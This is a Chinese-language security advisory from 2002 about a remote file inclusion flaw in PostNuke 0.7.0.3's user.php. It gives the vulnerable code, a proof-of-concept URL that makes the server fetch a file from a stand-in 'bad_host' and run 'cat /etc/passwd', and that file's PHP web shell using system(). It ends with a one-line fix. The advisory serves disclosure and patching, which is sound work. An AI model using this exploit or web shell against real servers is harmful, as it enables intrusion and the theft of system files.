xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

postnuke v 0.7.0.3远程命令可执行漏洞


发布时间:2002-03-29
更新时间:2002-03-29
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
postnuke v 0.7.0.3
详细描述
postnuke是内容管理系统,其中user.php的107行存在漏洞可以允许用户提供任意值给$caselist值,导致任意命令可执行,问题代码如下:

foreach ($caselist as $k=>$v)
{
    $ModName = $v['module'];
    include "$v[path]/$k";
}
$caselist = array();

测试代码
http://lame_host/user.php?caselist[bad_file.txt][path]
=http://bad_host&command=cat%20/etc/passwd

bad_fiel.txt如下(把其放到bad_host文档目录中):

-- start bad_file.txt -----
<pre>
<?php
system($command);
?>
-- end bad_file.txt -----

解决方案
在28行放入如下代码:

$caselist = array();

相关信息
pokleyzz sakamaniaka (pokleyzz@hotmail.com)
参考:http://archives.neohapsis.com/archives/bugtraq/2002-03/0345.html
相关主页:www.postnuke.org